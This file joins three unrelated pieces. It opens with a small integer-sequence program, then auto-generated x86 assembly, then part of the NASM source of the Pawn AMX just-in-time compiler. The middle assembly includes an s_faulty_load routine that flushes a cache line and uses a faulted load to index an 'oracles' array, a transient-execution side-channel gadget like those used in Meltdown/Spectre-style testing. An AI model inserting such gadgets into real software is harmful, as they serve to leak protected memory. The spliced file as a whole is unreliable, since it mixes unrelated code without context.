; 1,1,3,2,1,3,1,4,3,1,1,6,1,1,3,4,1,3,1,2,3,1,1,12,1,1,3,2,1,3,1,4,3,1,1,6,1,1,3,4,1,3,1,2,3,1,1,12,1,1,3,2,1,3,1,4,3,1,1,6,1,1,3,4,1,3,1,2,3,1,1,12,1,1,3,2,1,3,1,4,3,1,1,6,1,1,3,4,1,3,1,2,3,1,1,12,1,1,3,2
add $0,1
dif $0,2
gcd $0,12
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x12f9c, %rbp
clflush (%rbp)
nop
sub %r8, %r8
movups (%rbp), %xmm4
vpextrq $1, %xmm4, %r11
nop
nop
add %rdi, %rdi
lea addresses_A_ht+0x1e31c, %r9
nop
nop
nop
nop
nop
and $23122, %r14
mov (%r9), %r11
nop
sub %r8, %r8
lea addresses_WT_ht+0x86ae, %rsi
lea addresses_UC_ht+0xb6dc, %rdi
nop
cmp %rbp, %rbp
mov $112, %rcx
rep movsq
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WC_ht+0x22dc, %r9
nop
lfence
mov $0x6162636465666768, %r11
movq %r11, %xmm4
vmovups %ymm4, (%r9)
nop
nop
inc %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r9
push %rbp
push %rbx
// Store
lea addresses_WT+0x76dc, %r13
nop
nop
and %rbp, %rbp
movl $0x51525354, (%r13)
nop
nop
dec %r9
// Faulty Load
lea addresses_WT+0x76dc, %r15
clflush (%r15)
nop
nop
nop
nop
sub %r12, %r12
mov (%r15), %r13w
lea oracles, %r9
and $0xff, %r13
shlq $12, %r13
mov (%r9,%r13,1), %r13
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_WT', 'congruent': 0}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 6}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 10}, 'OP': 'STOR'}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
; AMXJITSN.ASM: Just-In-Time compiler for the Abstract Machine of the "Pawn"
; scripting language
; (C) 1999-2000, Marc Peter; beta version; provided AS IS WITHOUT ANY WARRANTIES
; I reached >155 million instr./sec on my AMD K6-2/366 with the Hanoi "bench"
; (27 disks, no output, DOS4/GW under Win95) with this implementation of the
; JIT compiler.
; NOTE 1:
; There is only one pass implemented in this version. This means there is no
; way of knowing the size of the compiled code before it has actually been com-
; piled. So the only chance the caller has, is to count the number of opcodes
; (in amx_BrowseRelocate()) and multiply this count with a "safe" factor to
; obtain a size value big enough to hold the entire code (and data, including
; the stack and heap, after adding their sizes). Afterwards it can realloc()
; this memory block to the actually needed smaller size.
; NOTE 2:
; The compiler destroys the opcode addresses of the given source by storing the
; respective compiled code's addresses there for the final address relocation
; step.
; NOTE 3:
; During execution of the compiled code with amx_exec_jit() the x86 processor's
; stack is switched into the data section of the abstract machine. This means
; that there should always be enough memory left between HEA and STK to provide
; stack space for occurring interrupts! (see the STACKRESERVE variable)
; NOTE 4:
; Although the Pawn compiler doesn't generate the LCTRL, SCTRL and CALL.I
; instructions, I have to tell that they don't work as expected in a JIT
; compiled program, because there is no easy way of transforming AMX code
; addresses and JIT translated ones. This might be fixed in a future version.
; NX ("No eXecute") and XD (eXecution Denied) bits
; (by Thiadmer Riemersma)
;
; AMD defined a bit "No eXecute" for the page table entries (for its 64-bit
; processors) and Intel came with the same design, but calling it differently.
; The purpose is to make "buffer overrun" security holes impossible, or at least
; very, very difficult, by marking the stack and the heap as memory regions
; such that an attempt to execute processor instructions will cause a processor
; exception (of course, a buffer overrun that is not explictly handled will then
; crash the application --instead of executing the rogue code).
;
; For JIT compilers, this has the impact that you are not allowed to execute the
; code that the JIT has generated. To do that, you must adjust the attributes
; for the memory page. For Microsoft Windows, you can use VirtualAlloc() to
; allocate a memory block with the appropriate fags; on Linux (with a recent
; kernel), you would use vmalloc_exec(). Microsoft Windows also offers the
; function VirtualProtect() to change the page attributes of an existing memory
; block, but there are caveats in its use: if the block spans multiple pages,
; these pages must be consecutive, and if there are blocks of memory in a page
; unrelated to the JIT, their page attributes will change too.
;
; The JIT compiler itself requires only read-write access (this is the default
; for a memory block that you allocate). The execution of the JIT-compiled code
; requires full access to the memory block: read, write and execute. It needs
; write access, because the SYSREQ.C opcode is patched to SYSREQ.D after the
; first lookup (this is an optimization, look up the address of the native
; function only once). For processors that do not support the NX/XD bit,
; execution of code is implicitly supported if read access is supported.
;
; During compilation, the JIT compiler requires write-access to its own code
; segment: the JIT-compiler patches P-code parameters into its own code segment
; during compilation. This is handled in the support code for amx_InitJIT.
;
;
; CALLING CONVENTIONS
; (by Thiadmer Riemersma)
;
; This version is the JIT that uses the "stack calling convention". In the
; original implementation, this meant __cdecl; both for the calling convention
; for the _asm_runJIT routine itself as for the callback functions.
; The current release supports __stdcall for the callback functions; to
; use it, you need to assemble the file with STDECL defined (Since STDCALL is
; a reserved word on the assembler, I had to choose a different name for the
; macro, hence STDECL.)
; Revision History
; ----------------
; 28 july 2005
; Bug fix for the switch table, in the situation where only the default
; case was present. Bug found by Bailopan.
; 17 february 2005 by Thiadmer Riemersma (TR)
; Addition of the BREAK opcode, removal of the older debugging opcode
; table. There should now be some debug support (if enabled during the
; build of the JIT compiler), but not enough to run a debugger: the JIT
; compiler does not keep a list that relates the code addresses of the
; P-code versus the native code.
; 29 June 2004 by G.W.M. Vissers
; Translated the thing into NASM. The actual generation of the code is
; put into the data section because the code modifies itself whereas the
; text section is usually read-only in the Unix ELF format.
; 6 march 2004 by Thiadmer Riemersma
; Corrected a bug in OP_FILL, where a cell preceding the array would
; be overwritten (zero'ed out). This bug was brought to my attention
; by Robert Daniels.
; 22 december 2003 by Thiadmer Riemersma (TR)
; Added the SYMTAG and SYSCALL.D opcodes (these are not really supported;
; SYMTAG is a no-op).
; Support __stdcall calling convention for for the native function "hook"
; function (the __cdecl calling convention is also still supported).
; 14 October 2002 by Thiadmer Riemersma (TR)
; Corrected the amx_s structure. The _hlw field was missing, which caused
; errors for arguments to native functions that were passed by reference.
; 2002/08/05 TR
; * store the status of the abstract machine in the AMX structure upon
; return, so that the machine can be restarted (OP_SLEEP)
; * added OP_NOP (for alignment, it is ignored by the JIT)
; * make sure the JIT does not crash when we NULL is passed for the
; return value
; 2000/03/03 MP
; * _amx_opcodelist is equipped with an underscore, again 8-P
; * added SRANGE as a no-op, so debugging info doesn't upset the JIT
; compiler anymore
; * added note about LCTRL, SCTRL and CALL.I
; 2000/03/02 MP
; * made JIT support __cdecl calling conventions
; * removed some rather unnecessary pops in the epilog of amx_exec_asm
; * changed the template for CALL into a DB byte sequence (tasm 4.1
; didn't like the immediate value)
; 1999/12/07 MP
; * fixed crash caused by JIT compiler not saving registers
; 1999/08/06 MP - design change: closer to the "iron" with native stack
; * The JIT compiler now generates relocatable code for case tables by
; setting FORCERELOCATABLE = 1.
; * removed all debug hook code
; * exchanged meaning of ESP and ESI in asm_exec(): now low-level calls/
; pushes/pops are possible
; * removed the run-time functions for the CALL, CALL_I and RET op-codes,
; they are now inline
; * All these changes gained around 80% performance increase for the
; hanoi bench.
; 1999/08/05 MP
; * fixed OP_LINE in the case of NODBGCALLS==1, where no compiled address
; was stored for the LINE byte code (i.e. SWITCH would jump to totally
; wrong addresses). The same fix was applied to OP_FILL, OP_FILE and
; OP_SCTRL (for the no-op case).
; 1999/08/04 MP
; * updated with 4 new opcodes (SRANGE does nothing at the moment; 2dim.
; arrays have not been tested.)
; * hacked relocation code to support absoulute addresses for CASETBL
; (This assumes that no generated address will be greater than
; 0x7fffffff. Bit no. 31 is used as flag for absolute addresses.)
; * The run-time function for SWITCH uses a (hopefully) faster algorithm
; to compute the destination address: It searches backwards now.
; 1999/07/08 MP - initial revision
;
; Support for the BREAK opcode (callback to the debugger): 0 = no, all other
; values = yes. Beware that the compiled code runs slower when this is enabled,
; and that debug support is still fairly minimal.
;
; GWMV: to generate LINE opcode, %define DEBUGSUPPORT
;
%undef DEBUGSUPPORT
;
; If this is set to 1 the JIT generates relocatable code for case tables, too.
; If set to 0, a faster variant for switch (using absolute addresses) is
; generated. I consider setting it to 0 a bad idea.
;
; GWMV: to use absolute addresses, %undef FORCERELOCATABLE
;
%define FORCERELOCATABLE
;
; Determines how much memory should be reserved for occurring interrupts.
; (If my memory serves me right, DOS4/G(W) provides a stack of 512 bytes
; for interrupts that occur in real mode and are promoted to protected mode.)
; This value _MUST_ be greater than 64 (for AMX needs) and should be at least
; 128 (to serve interrupts).
;
%define STACKRESERVE 256
;
; This variable controls the generation of memory range checks at run-time.
; You should set this to 0, only when you are sure that there are no range
; violations in your Pawn programs and you really need those 5% speed gain.
;
; GWMV: To disable runtime checks, %undef it, instread of setting it to zero
;
%define DORUNTIMECHECKS
%define JIT 1
%include "amxdefn.asm"
; GWMV:
; Nasm can't do the next as equivalence statements, since the value of
; esi is not determined at compile time
%define stk [esi+32] ; define some aliases to registers that will
%define alt [esi+28] ; be stored on the stack when the code is
%define pri [esi+24] ; actually beeing executed
%define code [esi+20]
%define amx [esi+16]
%define retval [esi+12]
%define stp [esi+8]
%define hea [esi+4]
%define frm [esi] ; FRM is NOT stored in ebp, FRM+DAT is being held
; in ebx instead.
;
; #define PUSH(v) ( stk-=sizeof(cell), *(cell *)(data+(int)stk)=v )
;
%macro _PUSH 1
push dword %1
%endmacro
;
; #define POP(v) ( v=*(cell *)(data+(int)stk), stk+=sizeof(cell) )
;
%macro _POP 1
pop dword %1
%endmacro
;
; For determining the biggest native code section generated for ONE Pawn
; opcode. (See the following macro and the PUBLIC function getMaxCodeSize().)
;
; GWMV: Do NOT see the following macro. See CHECKCODESIZE instead.
;
%assign MAXCODESIZE 0
;
; This is the work horse of the whole JIT: It actually copies the code.
%macro GO_ON 2-3 4
mov esi, %1 ;get source address of JIT code
mov ecx,%2-%1 ;get number of bytes to copy
mov [ebx],edi ;store address for jump-correction
add ebx,%3
rep movsb
cmp ebx,[end_code]
jae code_gen_done
jmp dword [ebx] ;go on with the next opcode
%endmacro
; GWMV:
; Nasm can't handle the determination of the maximum code size as was done
; in the Masm implementation, since it only does two passes. This macro is
; called *after* the code for each Pawn instruction.
%macro CHECKCODESIZE 1
%if MAXCODESIZE < $-%1
%assign MAXCODESIZE $-%1
%endif
%endmacro
;
; Modify the argument of an x86 instruction with the Pawn opcode's parameter
; before copying the code.
;
%macro putval 1
mov eax,[ebx+4]
mov dword [%1],eax
%endmacro
;
; Add an entry to the table of addresses which have to be relocated after the
; code compilation is done.
;
%macro RELOC 1-2 ; adr, dest
mov ebp,[reloc_num]
%if %0 < 2
mov eax,[ebx+4]
%else
lea eax,[%2]
%endif
mov [edx+ebp],eax ; write absolute destination
lea eax,[edi+%1]
mov [edx+ebp+4],eax ; write address of jump operand
add dword [reloc_num],8
%endmacro
%macro _DROPARGS 1 ; (TR) remove function arguments from the stack
%ifndef STDECL ; (for __cdecl calling convention only)
add esp,%1
%endif
%endmacro
section .text
global asm_runJIT, _asm_runJIT
global amx_exec_jit, _amx_exec_jit
global getMaxCodeSize, _getMaxCodeSize
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ;
; void asm_runJIT( AMX_HEADER *amxh, JumpAddressArray *jumps, void *dest ) ;
; eax edx ebx ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; asm_runJIT() assumes that the code of this module is allready browsed and
; relocated for the JIT compiler. It also assumes that both the jumps array and
; the dest memory block are large enough to hold all the data it has to write
; to them, as well as that the prefix (header) has already been copied to dest.
asm_runJIT:
_asm_runJIT:
push ebp
push ebx
push edi
push esi
mov eax,[esp+20] ; get amxh
mov edx,[esp+24] ; get jumps array
mov ebx,[esp+28] ; get destination
mov [amxhead],eax ; save pointer to AMX_HEADER struct
mov ecx,[eax+_cod] ; get offset of start of code
mov eax,[eax+_dat] ; offset of start of data = end of code
mov edi,ecx
add ecx,[amxhead] ; compute the real pointer
add eax,[amxhead] ; dito
add edi,ebx ; get write pointer into EDI
mov [compiled_code],ebx
mov [end_code],eax ; Store end-of-code address, so JIT
; compiler knows when to stop.
mov dword [reloc_num],0 ; init the index into the jumps array
mov ebx,ecx
jmp dword [ecx] ; start compiling
; The compiler will jump back here when code generation is complete.
code_gen_done: ; Now copy the data section.
mov ebp,[amxhead] ; get source AMX_HEADER start address
add edi,3 ; DAT follows directly after COD
and edi,0fffffffch ; align it on a DWORD boundary
push edi ; save data start pointer
mov esi,[end_code] ; get start of data segment
mov ecx,[ebp+_h_hea]
sub ecx,[ebp+_dat] ; compute length of array to copy
rep movsb ; copy the data
; Now adjust the register values in the compiled AMX_HEADER.
; COD stays the same since the size of AMX_HEADER doesn't change in
; compiled mode.
mov ebx,[compiled_code] ; get compiled AMX's header address
pop esi ; recall data start pointer
sub esi,ebx ; DAT = size of code + size of prefix
mov [ebx+_dat],esi ; write corrected DAT register
;HEA and STP are already relative to DAT, so we don't need to fix them.
; Now the calls/jumps in the compiled code have to be relocated.
sub ecx,ecx ; reset offset into relocation table
cmp ecx,[reloc_num]
jae reloc_code_done ; if there's nothing to fix, skip this part
reloc_code_loop:
mov eax,[edx+ecx] ; get destination address
mov edi,[edx+ecx+4] ; determine where to write the relocated value
add ecx,8 ; set pointer to next entry in relocation table
add edi,4 ; base address from where the offset is taken
%ifndef FORCERELOCATABLE
;MP: hack to suport absolute addresses for the CASETBL instruction
test eax,80000000h ; check whether it is an absolute address
pushf
and eax,7fffffffh ; clear the flag bit for absolute addresses
popf
mov eax,[eax] ; translate into compiled absolute address
jne write_reloc ; leave out the subtraction if absolute
%else
mov eax,[eax] ; translate into compiled absolute address
%endif
sub eax,edi ; make a relative offset
write_reloc:
mov [edi-4],eax ; write the relocated address
cmp ecx,[reloc_num]
jb reloc_code_loop
reloc_code_done:
; Relocate the addresses in the AMX_HEADER structure. (CIP and publics)
add ebp,[ebp+_cod] ; make all addresses relative to COD, not base
mov eax,[ebx+_h_cip]
add eax,ebp ; get absolute source CIP
mov eax,[eax] ; translate CIP to compiled address
sub eax,ebx ; make it relative to base
sub eax,[ebx+_cod] ; and now relative to COD
mov [ebx+_h_cip],eax; store relocated CIP
mov edi,[ebx+_publics]
sub esi,esi
mov ecx,[ebx+_natives]
sub ecx,edi ; ECX = _natives - _publics = public table size
mov si,[ebx+_defsize]
or ecx,ecx
jz reloc_done ; If there are no publics, we are done.
reloc_publics_loop:
mov eax,[ebx+edi] ; get public function offset
add eax,ebp ; make it a source address
mov eax,[eax] ; translate to compiled address
sub eax,ebx ; make it an offset relative to base
sub eax,[ebx+_cod] ; and now relative to COD
mov [ebx+edi],eax ; write corrected address back
add edi,esi ; step to next public function entry
sub ecx,esi
ja reloc_publics_loop
reloc_done:
mov eax,0
pop esi
pop edi
pop ebx
pop ebp
ret
OP_LOAD_PRI:
;nop;
putval j_load_pri+2
GO_ON j_load_pri, OP_LOAD_ALT, 8
j_load_pri:
mov eax,[edi+12345678h]
CHECKCODESIZE j_load_pri
OP_LOAD_ALT:
;nop;
putval j_load_alt+2
GO_ON j_load_alt, OP_LOAD_S_PRI, 8
j_load_alt:
mov edx,[edi+12345678h]
CHECKCODESIZE j_load_alt
;good
OP_LOAD_S_PRI:
;nop;
putval j_load_s_pri+2
GO_ON j_load_s_pri, OP_LOAD_S_ALT, 8
j_load_s_pri:
mov eax,[ebx+12345678h]
CHECKCODESIZE j_load_s_pri
;good
OP_LOAD_S_ALT:
;nop;
putval j_load_s_alt+2
GO_ON j_load_s_alt, OP_LOAD_I, 8
j_load_s_alt:
mov edx,[ebx+12345678h]
CHECKCODESIZE j_load_s_alt
OP_LOAD_I:
;nop;
GO_ON j_load_i, OP_LODB_I
j_load_i:
%ifdef DORUNTIMECHECKS
call [verify_adr_eax]
%endif
mov eax,[edi+eax]
CHECKCODESIZE j_load_i
OP_LODB_I:
;nop;
mov eax,[ebx+4]
mov eax,dword [(lodb_and-4)+eax*4]
mov dword [j_lodb_i_sm+1],eax ;modify AND instruction
GO_ON j_lodb_i, OP_LREF_PRI, 8
j_lodb_i:
%ifdef DORUNTIMECHECKS
call [verify_adr_eax]
%endif
mov eax,[edi+eax] ;subject to misalignment stalls
j_lodb_i_sm:
and eax,12345678h
CHECKCODESIZE j_lodb_i
OP_LREF_PRI:
;nop;
putval j_lref_pri+2
GO_ON j_lref_pri, OP_LREF_ALT, 8
j_lref_pri:
mov eax,[edi+12345678h]
mov eax,[edi+eax]
CHECKCODESIZE j_lref_pri
OP_LREF_ALT:
;nop;
putval j_lref_alt+2
GO_ON j_lref_alt, OP_LREF_S_PRI, 8
j_lref_alt:
mov edx,[edi+12345678h]
mov edx,[edi+edx]
CHECKCODESIZE j_lref_alt
OP_LREF_S_PRI:
;nop;
putval j_lref_s_pri+2
GO_ON j_lref_s_pri, OP_LREF_S_ALT, 8
j_lref_s_pri:
mov eax,[ebx+12345678h]
mov eax,[edi+eax]
CHECKCODESIZE j_lref_s_pri
OP_LREF_S_ALT:
;nop;
putval j_lref_s_alt+2
GO_ON j_lref_s_alt, OP_CONST_PRI, 8
j_lref_s_alt:
mov edx,[ebx+12345678h]
mov edx,[edi+edx]
CHECKCODESIZE j_lref_s_alt
;good
OP_CONST_PRI:
;nop;
putval j_const_pri+1
GO_ON j_const_pri, OP_CONST_ALT, 8
j_const_pri:
mov eax,12345678h
CHECKCODESIZE j_const_pri
;good
OP_CONST_ALT:
;nop;
putval j_const_alt+1
GO_ON j_const_alt, OP_ADDR_PRI, 8
j_const_alt:
mov edx,12345678h
CHECKCODESIZE j_const_alt
;good
OP_ADDR_PRI:
;nop;
putval j_addr_pri+1
GO_ON j_addr_pri, OP_ADDR_ALT, 8
j_addr_pri:
mov eax,12345678h
add eax,frm
CHECKCODESIZE j_addr_pri
;good
OP_ADDR_ALT:
;nop;
putval j_addr_alt+1
GO_ON j_addr_alt, OP_STOR_PRI, 8
j_addr_alt:
mov edx,12345678h
add edx,frm
CHECKCODESIZE j_addr_alt
OP_STOR_PRI:
;nop;
putval j_stor_pri+2
GO_ON j_stor_pri, OP_STOR_ALT, 8
j_stor_pri:
mov [edi+12345678h],eax
CHECKCODESIZE j_stor_pri
OP_STOR_ALT:
;nop;
putval j_stor_alt+2
GO_ON j_stor_alt, OP_STOR_S_PRI, 8
j_stor_alt:
mov [edi+12345678h],edx
CHECKCODESIZE j_stor_alt
;good
OP_STOR_S_PRI:
;nop;
putval j_stor_s_pri+2
GO_ON j_stor_s_pri, OP_STOR_S_ALT, 8
j_stor_s_pri:
mov [ebx+12345678h],eax
CHECKCODESIZE j_stor_s_pri
;good
OP_STOR_S_ALT:
;nop;
putval j_stor_s_alt+2
GO_ON j_stor_s_alt, OP_STOR_I, 8
j_stor_s_alt:
mov [ebx+12345678h],edx
CHECKCODESIZE j_stor_s_alt
;good
OP_STOR_I:
;nop;
GO_ON j_stor_i, OP_STRB_I
j_stor_i:
%ifdef DORUNTIMECHECKS
call [verify_adr_edx]
%endif
mov [edi+edx],eax
CHECKCODESIZE j_stor_i
OP_STRB_I:
;nop;
mov eax,[ebx+4]
cmp eax,1
jne strb_not1byte
GO_ON j_strb_i_1b, strb_not1byte, 8
j_strb_i_1b:
%ifdef DORUNTIMECHECKS
call [verify_adr_edx]
%endif
mov [edi+edx],al
CHECKCODESIZE j_strb_i_1b
strb_not1byte:
cmp eax,4
je strb_4byte
GO_ON j_strb_i_2b, strb_4byte, 8
j_strb_i_2b:
%ifdef DORUNTIMECHECKS
call [verify_adr_edx]
%endif
mov [edi+edx],ax
CHECKCODESIZE j_strb_i_2b
strb_4byte:
GO_ON j_strb_i_4b, OP_SREF_PRI, 8
j_strb_i_4b:
%ifdef DORUNTIMECHECKS
call [verify_adr_edx]
%endif
mov [edi+edx],eax
CHECKCODESIZE j_strb_i_4b
OP_SREF_PRI:
;nop;
putval j_sref_pri+2
GO_ON j_sref_pri, OP_SREF_ALT, 8
j_sref_pri:
mov ebp,[edi+12345678h]
mov [edi+ebp],eax
CHECKCODESIZE j_sref_pri
OP_SREF_ALT:
;nop;
putval j_sref_alt+2
GO_ON j_sref_alt, OP_SREF_S_PRI, 8
j_sref_alt:
mov ebp,[edi+12345678h]
mov [edi+ebp],edx
CHECKCODESIZE j_sref_alt
OP_SREF_S_PRI:
;nop;
putval j_sref_s_pri+2
GO_ON j_sref_s_pri, OP_SREF_S_ALT, 8
j_sref_s_pri:
mov ebp,[ebx+12345678h]
mov [edi+ebp],eax
CHECKCODESIZE j_sref_s_pri
OP_SREF_S_ALT:
;nop;
putval j_sref_s_alt+2
GO_ON j_sref_s_alt, OP_LIDX, 8
j_sref_s_alt:
mov ebp,[ebx+12345678h]
mov [edi+ebp],edx
CHECKCODESIZE j_sref_s_alt
;good
OP_LIDX:
;nop;
GO_ON j_lidx, OP_LIDX_B
j_lidx:
lea eax,[edx+4*eax]
%ifdef DORUNTIMECHECKS
call [verify_adr_eax]
%endif
mov eax,[edi+eax]
CHECKCODESIZE j_lidx
OP_LIDX_B:
;nop;
mov al,[ebx+4]
mov byte [j_lidx_b+2],al
GO_ON j_lidx_b, OP_IDXADDR, 8
j_lidx_b:
shl eax,12h
add eax,edx
%ifdef DORUNTIMECHECKS
call [verify_adr_eax]
%endif
mov eax,[edi+eax]
CHECKCODESIZE j_lidx_b
;good
OP_IDXADDR:
;nop;
GO_ON j_idxaddr, OP_IDXADDR_B
j_idxaddr:
lea eax,[edx+4*eax]
CHECKCODESIZE j_idxaddr
OP_IDXADDR_B:
;nop;
mov al,[ebx+4]
mov byte [j_idxaddr_b+2],al
GO_ON j_idxaddr_b, OP_ALIGN_PRI, 8
j_idxaddr_b:
shl eax,12h
add eax,edx
CHECKCODESIZE j_idxaddr_b
OP_ALIGN_PRI:
;nop;
mov eax,4
sub eax,[ebx+4]
mov dword [j_align_pri+1],eax
GO_ON j_align_pri, OP_ALIGN_ALT, 8
j_align_pri:
xor eax,12345678h
CHECKCODESIZE j_align_pri
OP_ALIGN_ALT:
;nop;
mov eax,4
sub eax,[ebx+4]
mov dword [j_align_alt+1],eax
GO_ON j_align_alt, OP_LCTRL, 8
j_align_alt:
xor edx,12345678h
CHECKCODESIZE j_align_alt
OP_LCTRL:
;nop;
mov eax,[ebx+4]
cmp eax,0
jne lctrl_1
GO_ON j_lctrl_0, lctrl_1, 8
j_lctrl_0:
mov eax,code ; 1=COD
CHECKCODESIZE j_lctrl_0
lctrl_1:
cmp eax,1
jne lctrl_2
GO_ON j_lctrl_1, lctrl_2, 8
j_lctrl_1:
mov eax,edi ; 1=DAT
CHECKCODESIZE j_lctrl_1
lctrl_2:
cmp eax,2
jne lctrl_3
GO_ON j_lctrl_2, lctrl_3, 8
j_lctrl_2:
mov eax,hea ; 2=HEA
CHECKCODESIZE j_lctrl_2
lctrl_3:
cmp eax,3
jne lctrl_4
GO_ON j_lctrl_3, lctrl_4, 8
j_lctrl_3:
mov ebp,amx
mov eax,[ebp+_stp]
CHECKCODESIZE j_lctrl_3
lctrl_4:
cmp eax,4
jne lctrl_5
GO_ON j_lctrl_4, lctrl_5, 8
j_lctrl_4:
mov eax,esp ; 4=STK
sub eax,edi
CHECKCODESIZE j_lctrl_4
lctrl_5:
cmp eax,5
jne lctrl_6
GO_ON j_lctrl_5, lctrl_6, 8
j_lctrl_5:
mov eax,frm ; 5=FRM
CHECKCODESIZE j_lctrl_5
lctrl_6:
mov dword [j_lctrl_6+1],edi
GO_ON j_lctrl_6, OP_SCTRL, 8
j_lctrl_6:
mov eax,12345678h ; 6=CIP
CHECKCODESIZE j_lctrl_6
OP_SCTRL:
;nop;
mov eax,[ebx+4]
cmp eax,2
jne sctrl_4
GO_ON j_sctrl_2, sctrl_4, 8
j_sctrl_2:
mov hea,eax ; 2=HEA
CHECKCODESIZE j_sctrl_2
sctrl_4:
cmp eax,4
jne sctrl_5
GO_ON j_sctrl_4, sctrl_5, 8
j_sctrl_4:
;mov esp,eax ; 4=STK
;add esp,edi ; relocate stack
lea esp,[eax+edi]
CHECKCODESIZE j_sctrl_4
sctrl_5:
cmp eax,5
jne sctrl_ignore
GO_ON j_sctrl_5, sctrl_ignore, 8
j_sctrl_5:
mov ebx,eax ; 5=FRM
mov frm,eax
add ebx,edi ; relocate frame
CHECKCODESIZE j_sctrl_5
sctrl_ignore:
mov [ebx],edi
add ebx,8
jmp dword [ebx]
OP_MOVE_PRI:
;nop;
GO_ON j_move_pri, OP_MOVE_ALT
j_move_pri:
mov eax,edx
CHECKCODESIZE j_move_pri
;good
